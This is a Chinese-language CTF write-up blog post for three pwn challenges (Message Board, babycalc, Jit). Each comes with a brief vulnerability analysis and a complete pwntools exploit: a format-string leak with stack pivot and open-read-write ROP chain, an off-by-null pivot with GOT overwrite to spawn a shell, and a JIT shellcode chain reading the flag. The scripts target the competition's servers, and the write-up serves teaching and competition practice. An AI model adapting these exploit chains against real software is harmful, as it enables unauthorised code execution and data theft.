挺久没发过博客了,水一篇(
和队友一起打到初赛第六,这次属实是没pwner什么事,pwn题难的难,简单的简单,拉不开差距。
Message Board
程序给了一次格式化字符串,拿来泄露栈地址后栈迁移。
这里奇怪的是我本地泄露某一个栈地址,在我本机是glibc 2.31 9.9的情况以及patch过glibc-all-in-one中libc的情况在远程均无法成功。需要换一个栈地址才行。
一次性调用程序本身的call_read gadget+栈迁移orw即可。(更简单的方法是重回main)
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
def qwq(name):
log.success(hex(name))
def debug(point):
gdb.attach(r,'b '+str(point))
# r = process('/mnt/hgfs/ubuntu/xhlj/Message/pwn')
r = remote('tcp.cloud.dasctf.com',23566)
elf = ELF('/mnt/hgfs/ubuntu/xhlj/Message/pwn')
libc = ELF('/mnt/hgfs/ubuntu/xhlj/Message/libc.so.6')
r.recvuntil(b"Welcome to DASCTF message board, please leave your name:")
# debug("printf")
r.sendline(b'(%28$p)')
r.recvuntil(b'(')
stack_addr = int(r.recvuntil(b')')[:-1],16)-0x1a0
qwq(stack_addr)
r.recvuntil(b"Now, please say something to DASCTF:")
pop_rdi = 0x0000000000401413
leave_ret = 0x00000000004012e0
call_read = 0x401378
payload = p64(stack_addr+0xb0+0x28)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(call_read)
payload = payload.ljust(0xb0,b'\0')
payload+= p64(stack_addr)+p64(leave_ret)
r.send(payload)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-libc.sym["puts"]
pause()
open_addr = libc_base+libc.sym["open"]
pop_rsi = libc_base+0x000000000002601f
pop_rdx = libc_base+0x0000000000142c92
orw = p64(pop_rdi)+p64(stack_addr+0xd0)+p64(pop_rsi)+p64(0)+p64(open_addr)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss()+0x800)+p64(pop_rdx)+p64(0x50)+p64(elf.plt["read"])+p64(pop_rdi)+p64(elf.bss()+0x800)+p64(elf.plt["puts"])
orw = orw.ljust(0xa8,b'\0')+b'./flag\x00\x00'
orw+= p64(stack_addr+0x28-8)+p64(leave_ret)
r.send(orw)
qwq(libc_base)
r.interactive()
babycalc
Read buf的途中可以覆盖掉局部变量i。因此我们可以做到①负向栈上任意写②正向v3+0-0xff偏移内任意更改一字节。
负向栈上任意写不太有用,我们可以看到同时有一个off by null漏洞。
因此可以考虑改该函数原本返回地址‘nop‘为’leave_ret’。实现栈迁移。
当然由于off by null栈地址不确定性,因此需要爆破,成功概率大概是1/16。
同时为了避免重回main后第二次又需要爆破导致成功概率变成1/256,我们尽量一次性提权。
因此泄露libc地址后用csu调用read函数覆写got表,然后调用system(“/bin/sh”)提权。
至于后面的判断条件用z3解一解就好了(甚至可以手算)。
Libcsearcher出现了一些问题报错了,远程泄露puts真实地址后在libc.rip上查询,大概率为glibc 2.23 11.3后本地copy一份libc.so.6直接打就行。
from pwn import *
from LibcSearcher import*
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
context.arch = 'amd64'
def qwq(name):
log.success(hex(name))
def debug(point):
gdb.attach(r,'b '+str(point))
# r = process('/mnt/hgfs/ubuntu/xhlj/babycalc')
elf = ELF('/mnt/hgfs/ubuntu/xhlj/babycalc')
libc = ELF('/mnt/hgfs/ubuntu/xhlj/libc.so.6')
pop6_ret = 0x400C9A
def csu(rdi,rsi,rdx,call_addr):
payload = p64(pop6_ret)+p64(0)+p64(1)+p64(call_addr)+p64(rdx)+p64(rsi)+p64(rdi)+p64(0x400c80)+p64(0)*7
return payload
def pwn():
num = [19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3]
pop_rdi = 0x0000000000400ca3
# debug("* 0x400C18")
rop_chain=[
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
csu(0,elf.got["puts"],0x30,elf.got["read"]),
pop_rdi,
elf.got["puts"]+8,
elf.plt['puts']
]
print(hex(len(flat(rop_chain))))
payload = str(0x18).encode().ljust(0x8,b'\0')
payload+=p64(pop_rdi+1)*4
rop_chain_size = len(flat(rop_chain))
payload+= flat(rop_chain)
for i in range(0x10):
payload+=p8(num[i])
payload = payload.ljust(0xfc,b'\0')+p32(0x38)
r.recvuntil(b'number')
r.send(payload)
puts_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))
pause()
libc_base = puts_addr-libc.sym["puts"]
system_addr = libc_base+libc.sym["system"]
r.sendline(p64(system_addr)+b'/bin/sh\x00')
qwq(libc_base)
r.interactive()
while True:
r = remote('tcp.cloud.dasctf.com',25351)
# r = process('/mnt/hgfs/ubuntu/xhlj/babycalc')
try:
pwn()
except EOFError:
r.close()
continue
Jit
经ln3
师傅同意收录其wp如下。
基本逻辑
输入字节码, 存储到IRstream string中
向可执行段写入起始汇编代码, 内容如注释
为每个函数生成汇编
一个函数字节码header结构为0xff | id | argcnt | localcnt, 共4字节
将函数信息以id为key放入map中, 并向可执行段中写入sub rsp,xx的机器码, xx由localcnt决定
随后进入生成汇编函数体和return相关语句的逻辑
主要是循环根据字节码派发生成汇编
变量分为局部变量跟参数, 索引从1起始
其栈帧构造大致如下
|--------|
rsp --> | localB |
|--------|
| localA |
|--------|
rbp --> |retaddr |
|--------|
| arg1 |
|--------|
| arg2 |
|--------|
| arg3 |
|--------|
| oldrbp |
|--------|
对变量的引用模式如下
var2idx将var的索引转为在栈中的偏移量
pvar2reg通过lea指令将偏移量转化成地址存入rdi
var2reg调用pvar2reg之后通过解索引获取变量的值存入rsi
其他操作较容易理解不再赘述
漏洞分析
经过一些测试分析发现生成的指令较为紧凑, 无法拼接指令
所以转而分析实现复杂一些的call指令
这个call指令实现的有很多bug
首先可以看到一个比较特殊的点是push rbp, 这说明在这个jit中是父函数为子函数新建栈帧, 调整rsp, 分配栈空间
然后将存在vector中的参数索引取出转化为值存入栈
但是明显注意到, 在函数末尾, 并没有把参数占用栈空间回收, 同时在将参数存入栈时, 使用的偏移量均为负数,
与我们刚刚总结出的栈布局矛盾,令人疑惑
我们查看函数的返回实现
显然只考虑回收了函数的局部变量, 并没有回收参数部分
这导致父函数的栈不平衡, 在父函数返回时add rsp,xx不能复位到正确的位置, 会落到局部变量中, 使得可以劫持控制流
另外, 在填充call指令时, 也有一个bug
call指令长度有5字节, 1字节0xe8的操作码与4字节的跳转位置相对偏移, 这里偏移以call指令的下一条指令为起始地址来计算
write写入时会修改exec_wr指针, 向后移动, 所以此时exec_wr并不指向call指令开头, 而是后移了一字节
所以此时call指令下一条指令地址应为exec_wr+4, 这里的代码为exec_wr+5, 这导致call的目的地实际向上偏移了一字节
不幸的是以上两个bug均无法利用
在这里的判断逻辑
要求了必须要存在一个id为0的函数, 且函数不能具有参数, 同时一定要生成在初始汇编代码之后
而此时其他函数都尚未载入, 对于0 id函数来说都不可见, 同时其自身不含参数, 无法调用自身触发call指令关于参数的漏洞
笔者花了很多时间思考如何去绕过这种限制, 无果
而后决定仔细审计考察一遍id 0 函数能够执行的命令, 希望能够找到一些线索
然后发现了预期的漏洞
根据我们刚才的栈布局图可知当var2idx的参数为0是索引到的应该为函数返回值, 所以这里在开头即检查了变量是否为0
但是在locals的分支这里却存在为0的可能性
一个函数最多能拥有32个局部变量, 32 * 8 = 0x100, 会在向char类型转换时变为0
这意味这我们可以直接引用函数的返回地址, 随意存取修改
利用手法
利用手法是经典的jit利用, 与ciscn 2022的llvm pass pwn相似, 主要利用汇编中的常数来作为汇编代码执行, 并通过jmp来连接
程序提供了一个movabs rsi, xxx, 可以有8字节的数据, 其中有2字节用来jmp到下一段shellcode
具体见exp
from pwn import *
context.arch = 'amd64'
payload = b''
def create_func(id,arg_cnt,local_cnt):
global payload
hdr = b'\xff' + p8(id) + p8(arg_cnt) + p8(local_cnt)
payload += hdr
def mov_var_imm(vidx,imm):
global payload
payload += p8(1)
payload += p8(vidx | 0x80)
payload += p64(imm)
def callf(fid,retvar,arg_cnt,args=None):
global payload
payload += p8(6)
payload += p8(fid)
payload += p8(retvar)
payload += p8(arg_cnt)
if arg_cnt != 0:
for i in range(arg_cnt):
payload += p8(args[i])
def mov(idx1,idx2):
global payload
payload += p8(2)
payload += p8(idx1)
payload += p8(idx2)
def xor(idx1,idx2):
global payload
payload += p8(5)
payload += p8(idx1)
payload += p8(idx2)
def retv(var_idx):
global payload
payload += p8(0)
payload += p8(var_idx)
sc = '''mov eax, 0x01010101
xor eax, 0x6c662f2e ^ 0x01010101
mov ebx, 0x0101
xor ebx, 0x6761 ^ 0x0101
shl rbx,32
or rax,rbx
push rax
push SYS_open
pop rax
mov rdi, rsp
xor esi, esi
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push SYS_sendfile
pop rax
push 1
pop rdi
cdq
syscall'''
ret_off = 0x80 | 0x20
create_func(0,0,0x20)
mov(0x81,ret_off)
mov_var_imm(0x82,0x62)
xor(0x81,0x82)
mov(ret_off,0x81)
retv(0x81)
create_func(1,0,1)
def make_qword(sc):
payload = asm(sc).ljust(6,b'\x90') + b'\xeb\x09'
return u64(payload)
for i in sc.splitlines():
mov_var_imm(1,make_qword(i))
retv(0x81)
# sh = process('./jit')
sh = remote('tcp.cloud.dasctf.com','21128')
# gdb.attach(sh)
# pause()
sh.send(payload)
sh.interactive()